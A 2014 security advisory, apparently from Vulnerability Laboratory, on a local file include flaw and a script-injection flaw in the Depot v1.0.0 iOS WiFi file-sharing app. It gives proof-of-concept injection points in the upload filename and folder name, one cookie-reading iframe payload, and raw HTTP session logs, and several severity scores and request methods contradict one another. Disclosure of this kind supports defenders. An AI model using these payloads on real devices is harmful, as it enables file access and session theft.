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Document Title: =============== Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1259 Release Date: ============= 2014-04-23 Vulnerability Laboratory ID (VL-ID): ==================================== 1259 Common Vulnerability Scoring System: ==================================== 8.6 Product & Service Introduction: =============================== With Depot you can archive all kinds of files on your iPhone, iPod or iPad and then share them on a local WiFi network In Depot not only you can receive files from other applications that supports document interaction (as Mail or Safari), but you can also download and upload files from any kind of PC and internet enabled devices. You can then open your files directly on your device or share them between other devices such as smartphones, tablets, PCs, game consoles and smart TVs connected through a local WiFi. (Copy of the Homepage: https://itunes.apple.com/br/app/depot/id858248612 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Depot v1.0.0 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2014-04-23: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Maurizio Berioli Product: Depot - iOS Mobile Application 1.0 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A local file include web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the <code>filename</code> value of the <code>+Files > Upload!</code> module. Remote attackers are able to inject own files with malicious <code>filename</code> values in the <code>Upload!</code> POST method request to compromise the mobile web-application. The local file/path include execution occurs in the <code>Depot index item list</code> context of the wifi interface. Attackers are able to inject own local file requests by usage of the <code>wifi interface path value or by a local privileged device user account via <code>filename sync</code> rename. Remote attackers are also able to exploit the filename validation issue in combination with persistent script codes to execute different local malicious attacks or requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. Exploitation of the local file include web vulnerability requires no privileged application user account or user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Module(s): [+] +File > Upload! Vulnerable Function(s): [+] Create a new Folder (remote) [+] rename (local sync) Vulnerable Parameter(s): [+] filename (path value) Affected Module(s): [+] Depot Index Item Listing (http://localhost/) 1.2 A code execution web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The issue allows an attacker to compromise the application and connected device components by exploitation of system specific code execution vulnerability in the webdisk interface. The vulnerability is located in the GET method request of the <code>+Folders</code> module. The main index provides a folders add form which is not secure encoding the regular inputs. The context can be implemented to the folders form and the results is the application-side execution of system specific malicious codes in the index. The file itself will not be transfered and the input generates the listing context to the index. The input field of the +Folders module executes the wrong encoded input via GET method request by the name value. Remote attackers are able to execute the own malicious codes by usage of a script code payload in combination with the affected system device values. The execution of the code occurs in the main depot file dir listing context. The attack vector is on application-side and the request method to attack the service is GET. The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9. Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction. Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] +Folders Vulnerable Function(s): [+] Create a new Folder (remote) [+] rename (local sync) Vulnerable Parameter(s): [+] foldername Affected Module(s): [+] Depot Index Item Listing (http://localhost/) Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploit Filename Index <input onclick="toggle(this);" type="checkbox"></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;"> <a href="https://www.exploit-db.com/?ORD=1">Name</a></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="https://www.exploit-db.com/?ORD=2">Date</a></div></td> <td colspan="2"><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="https://www.exploit-db.com/?ORD=4">Size</a></div></td></tr> <tr style="background-color:#F0F0F0"><td><input name="file" value="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png" type="checkbox"></td> <td><a href="https://www.exploit-db.com/var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png">./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png</a></td> <td>22.04.2014 11:37</td><td style="text-align:right;">538.00</td><td>bytes</td> --- POC SESSION LOGS [POST] --- Status: 200[OK] GET http://localhost:80/?addfile=1 Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[2924] Mime Type[text/html] Request Header: Host[localhost:80] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://localhost:80/] Connection[keep-alive] Response Header: Content-Type[text/html] Content-Length[2924] Connection[close] Cache-Control[no-cache] Status: 200[OK] POST http://localhost:80/ Load Flags [LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Gr��e des Inhalts[2920] Mime Type[text/html] Request Header: Host[localhost:80] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:80/?addfile=1] Connection[keep-alive] POST- Daten: POST_DATA[-----------------------------2914547563213 Content-Disposition: form-data; name="mauber"; filename="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png" Content-Type: image/png Reference(s): http://localhost:80/?addfile= 1.2 The code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC #1: Exploit Index Foldername Item <div style="border:1px solid;text-align:center;background-color:F0F0FF;">Folders [<a href="https://www.exploit-db.com/?adddir=1">+</a>]<br>>"%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C" <="" created!<="" div=""></td></tr><tr><td><div style='border:1px solid;text-align:center;background-color:DCDCF0;'> </div></td><td><div style='border:1px solid;text-align:center;background-color:DCDCF0;'><a href='https://www.exploit-db.com/?ORD=1'>Name</a></div></td><td colspan='3'><div style='border:1px solid;text- align:center;background-color:DCDCF0;'><a href='https://www.exploit-db.com/?ORD=2'>Date</a></div></td></tr><tr style='background-color:#F0F0F0'><td> </td><td>[<a href='https://www.exploit-db.com/exploits/33026/.deviceMedia.'>.deviceMedia.</a>]</td><td colspan='3'>- </td></tr><tr style='background-color:#FFFFFF'><td> </td><td>[<a href='https://www.exploit-db.com/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C'>%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <</a>]</td> PoC #2: Exploit #2 Directory/Path Value <td><a href="https://www.exploit-db.com/"><<</a> Browsing:<b>[<a href="https://www.exploit-db.com/">/</a>][<a href="https://www.exploit-db.com/>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <">>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C)" <<="" a="">]</b> <br> </td></tr><tr><td><table align='center' style='border-style:none;border-spacing:0'><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0F0FF;'> Folders [<a href='https://www.exploit-db.com/>"<iframe src=a onload=alert(document.cookie) <?adddir=1'>+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No sub-folders presents.</td></tr> <tr><td colspan='5'> </td></tr><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0FFF0;'>Files [<a href='https://www.exploit-db.com/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <?addfile=1'> +</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No files present.</td></tr></table></td></tr></table></body></html></iframe></a></b></td> --- POC SESSION LOGS [GET] --- GET http://localhost:80/.createdir?newdir=%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_FROM_CACHE] Gr��e des Inhalts[-1] Mime Type[unbekannt] Request Header: Host[localhost:80] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://localhost:80/?adddir=1] Response Header: 11:15:44.105[31ms][total 31ms] Status: 200[OK] GET http://localhost:80/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_DOCUMENT_URI] Gr��e des Inhalts[48] Mime Type [text/html] Request Header: Host[localhost:80] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept- Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:80/] Connection[keep-alive] Response Header: Content-Type[text/html] Content-Length[48] Connection[close] Cache-Control[no-cache] Reference(s): http://localhost:80/.createdir?newdir= Security Risk: ============== 1.1 The security risk of the local file include web vulnerability is estimated as high. 1.2 The security risk of the code execution web vulnerability is estimated as high(+). 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